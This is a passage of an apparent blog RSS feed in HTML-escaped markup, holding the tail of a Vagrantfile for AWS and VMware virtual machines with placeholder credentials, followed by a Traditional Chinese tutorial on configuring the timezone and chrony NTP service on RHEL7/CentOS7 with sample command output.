&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>secret_access_key &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_AWS_ACCESS_KEY&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>keypair_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>security_groups &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>instance_type &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;t2.small&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>region &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;us-east-1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># ubuntu 14.04 x64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>ami &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-864d84ee&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># override info&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>ssh&lt;span style="color:#f92672">.&lt;/span>username &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ubuntu&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>ssh&lt;span style="color:#f92672">.&lt;/span>private_key_path &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_AWS_PRIVATE_KEY_PATH&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>synced_folder &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_SYNC_FOLDER&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;/vagrant&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">type&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;rsync&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;dimroc/awsdummy&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># VMs&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#f92672">..&lt;/span>&lt;span style="color:#66d9ef">MAX_VM_NUMBER&lt;/span>)&lt;span style="color:#f92672">.&lt;/span>each &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>i&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># define linux&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>define &lt;span style="color:#e6db74">&amp;#34;l&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>i&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>node&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># aws&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> node&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">:aws&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>aws&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>tags &lt;span style="color:#f92672">=&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Name&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">-linux-&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>i&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># local&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># node.vm.network &amp;#34;private_network&amp;#34;, ip: &amp;#34;192.168.33.%d&amp;#34; % (i+2)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> node&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>hostname &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ftan-linux-&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>i&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># define windows&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>define &lt;span style="color:#e6db74">&amp;#34;w&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>i&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>node&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> node&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">:aws&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>aws&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>ami &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-2ae02342&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>tags &lt;span style="color:#f92672">=&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Name&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">-windows-&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>i&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># define customer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">YOUR_CUSTOMIZED_VM&lt;/span>&lt;span style="color:#f92672">.&lt;/span>each &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>vm&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>define &lt;span style="color:#e6db74">&amp;#34;%s&amp;#34;&lt;/span> &lt;span style="color:#f92672">%&lt;/span> vm&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#34;name&amp;#34;&lt;/span>&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>node&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># aws&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> node&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">:aws&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>aws&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>ami &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">AWS_AMIS&lt;/span>&lt;span style="color:#f92672">[&lt;/span>vm&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#34;platform&amp;#34;&lt;/span>&lt;span style="color:#f92672">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>tags &lt;span style="color:#f92672">=&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Name&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">-%s&amp;#34;&lt;/span> &lt;span style="color:#f92672">%&lt;/span> vm&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#34;name&amp;#34;&lt;/span>&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># vmware fusion&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># vmware workstation&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> node&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">:vmware_fusion&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>fusion&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fusion&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">LOCAL_BOXS&lt;/span>&lt;span style="color:#f92672">[&lt;/span>vm&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#34;platform&amp;#34;&lt;/span>&lt;span style="color:#f92672">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> fusion&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>hostname &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">-%s&amp;#34;&lt;/span> &lt;span style="color:#f92672">%&lt;/span> vm&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#34;name&amp;#34;&lt;/span>&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># vsphere&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># azure&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>如何設定時區與NTP服務在RHEL7/CentOS7</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200929-how-to-config-chronyd-on-rhel7-centos7/</link><pubDate>Tue, 29 Sep 2020 11:41:43 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20200929-how-to-config-chronyd-on-rhel7-centos7/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.skywebster.com/how-to-config-chronyd-on-rhel7-centos7/" target="_blank" rel="noopener">如何設定時區與 NTP 服務在 RHEL7/CentOS7&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>chrony 包含兩個程序，chronyd 是一個可以在啟動時啟動的守護進程，chronyc 是一個命令行界面程序，可用於監控 chronyd 的性能並在運行時更改各種運行參數。&lt;/p>
&lt;p>注意 ntpd 和 chronyd 擇一就可，不要同時運作。&lt;/p>
&lt;h5 id="設定時區">設定時區&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>~# timedatectl set-timezone Asia/Taipei
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# timedatectl
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Local time: Tue 2018-03-27 14:13:38 CST
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Universal time: Tue 2018-03-27 06:13:38 UTC
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> RTC time: Tue 2018-03-27 06:13:40
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Time zone: Asia/Taipei &lt;span style="color:#f92672">(&lt;/span>CST, +0800&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> NTP enabled: no
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NTP synchronized: no
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> RTC in local TZ: no
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DST active: n/a
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="設定-chronyd">設定 chronyd&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# yum install -y chrony
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 配置設定檔&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# cat /etc/chrony.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Use public servers from the pool.ntp.org project.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Please consider joining the pool (http://www.pool.ntp.org/join.html).&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>server 0.tw.pool.ntp.org iburst ---&amp;gt;改成本地的伺服器
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>server 1.tw.pool.ntp.org iburst ---&amp;gt;改成本地的伺服器
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>server 2.tw.pool.ntp.org iburst ---&amp;gt;改成本地的伺服器
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>server 3.tw.pool.ntp.org iburst ---&amp;gt;改成本地的伺服器
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 啟動服務和設為開機時啟動&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# systemctl enable chronyd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# systemctl start chronyd
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="racking-參數顯示有關系統時間效能">racking 參數顯示有關系統時間效能&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>~# chronyc tracking
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Reference ID : 3DD8996B &lt;span style="color:#f92672">(&lt;/span>61-216-153-107.hinet-ip.hinet.net&lt;span style="color:#f92672">)&lt;/span> ---&amp;gt;表示現在同步的時間伺服器，如果沒有id表示沒有同步
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Stratum : &lt;span style="color:#ae81ff">4&lt;/span> ---&amp;gt;表示計算機有多少&lt;span style="color:#e6db74">&amp;#34;跳hop&amp;#34;&lt;/span> 表示本地的是第四層
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Ref time &lt;span style="color:#f92672">(&lt;/span>UTC&lt;span style="color:#f92672">)&lt;/span> : Tue Mar &lt;span style="color:#ae81ff">27&lt;/span> 06:03:38 &lt;span style="color:#ae81ff">2018&lt;/span> ---&amp;gt;最後一次測量的時間
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>System time : 0.000040356 seconds fast of NTP time ---&amp;gt;調整系統時間
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Last offset : +0.000163738 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RMS offset : 0.000163738 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Frequency : 21.384 ppm fast
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Residual freq : +0.000 ppm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Skew : 675.319 ppm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Root delay : 0.008527911 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Root dispersion : 0.066466033 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Update interval : 2.0 seconds
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Leap status : Normal ---&amp;gt;Normal要顯示此值, Insert second, Delete second or Not synchronised.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>~# chronyc sources -v
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">210&lt;/span> Number of sources &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .-- Source mode &lt;span style="color:#e6db74">&amp;#39;^&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&lt;/span> server, &lt;span style="color:#e6db74">&amp;#39;=&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&lt;/span> peer, &lt;span style="color:#e6db74">&amp;#39;#&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&lt;/span> local clock.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> / .- Source state &lt;span style="color:#e6db74">&amp;#39;*&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&lt;/span> current synced, &lt;span style="color:#e6db74">&amp;#39;+&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&lt;/span> combined , &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&lt;/span> not combined,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| / &lt;span style="color:#e6db74">&amp;#39;?&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&lt;/span> unreachable, &lt;span style="color:#e6db74">&amp;#39;x&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&lt;/span> time may be in error, &lt;span style="color:#e6db74">&amp;#39;~&amp;#39;&lt;/span> &lt;span style="color:#f92672">=&lt;/span> time too variable.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">||&lt;/span> .- xxxx &lt;span style="color:#f92672">[&lt;/span> yyyy &lt;span style="color:#f92672">]&lt;/span> +/- zzzz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">||&lt;/span> Reachability register &lt;span style="color:#f92672">(&lt;/span>octal&lt;span style="color:#f92672">)&lt;/span> -. | xxxx &lt;span style="color:#f92672">=&lt;/span> adjusted offset,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">||&lt;/span> Log2&lt;span style="color:#f92672">(&lt;/span>Polling interval&lt;span style="color:#f92672">)&lt;/span> --. | | yyyy &lt;span style="color:#f92672">=&lt;/span> measured offset,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">||&lt;/span> &lt;span style="color:#ae81ff">\ &lt;/span> | | zzzz &lt;span style="color:#f92672">=&lt;/span> estimated error.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">||&lt;/span> | | &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>MS Name/IP address Stratum Poll Reach LastRx Last sample
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">===============================================================================&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>^* 59-124-29-241.hinet-ip.h&amp;gt; &lt;span style="color:#ae81ff">3&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span> &lt;span style="color:#ae81ff">37&lt;/span> &lt;span style="color:#ae81ff">24&lt;/span> -1462us&lt;span style="color:#f92672">[&lt;/span>-2363us&lt;span style="color:#f92672">]&lt;/span> +/- 49ms
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>^+ 61-216-153-107.hinet-ip.&amp;gt; &lt;span style="color:#ae81ff">3&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span> &lt;span style="color:#ae81ff">37&lt;/span> &lt;span style="color:#ae81ff">23&lt;/span> -556us&lt;span style="color:#f92672">[&lt;/span> -556us&lt;span style="color:#f92672">]&lt;/span> +/- 64ms
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>^? 59-125-122-217.hinet-ip.&amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#ae81ff">7&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> - +0ns&lt;span style="color:#f92672">[&lt;/span> +0ns&lt;span style="color:#f92672">]&lt;/span> +/- 0ns
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>^- 61-216-153-105.hinet-ip.&amp;gt; &lt;span style="color:#ae81ff">3&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span> &lt;span style="color:#ae81ff">37&lt;/span> &lt;span style="color:#ae81ff">23&lt;/span> -280us&lt;span style="color:#f92672">[&lt;/span> -280us&lt;span style="color:#f92672">]&lt;/span> +/- 64ms
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="看同步源頭的資訊">看同步源頭的資訊&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>~# chronyc sourcestats -v
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">210&lt;/span> Number of sources &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .- Number of sample points in measurement set.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> / .- Number of residual runs with same sign.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | / .- Length of measurement set &lt;span style="color:#f92672">(&lt;/span>time&lt;span style="color:#f92672">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | / .- Est. clock freq error &lt;span style="color:#f92672">(&lt;/span>ppm&lt;span style="color:#f92672">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | | / .- Est. error in freq.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | | | / .- Est. offset.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | | | | | On the -.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | | | | | | samples. &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> | | | | | | |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Name/IP Address NP NR Span Frequency Freq Skew Offset Std Dev
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">==============================================================================&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>59-124-29-241.hinet-ip.h&amp;gt; &lt;span style="color:#ae81ff">6&lt;/span> &lt;span style="color:#ae81ff">5&lt;/span> &lt;span style="color:#ae81ff">135&lt;/span> -0.454 4.553 -784us 66us
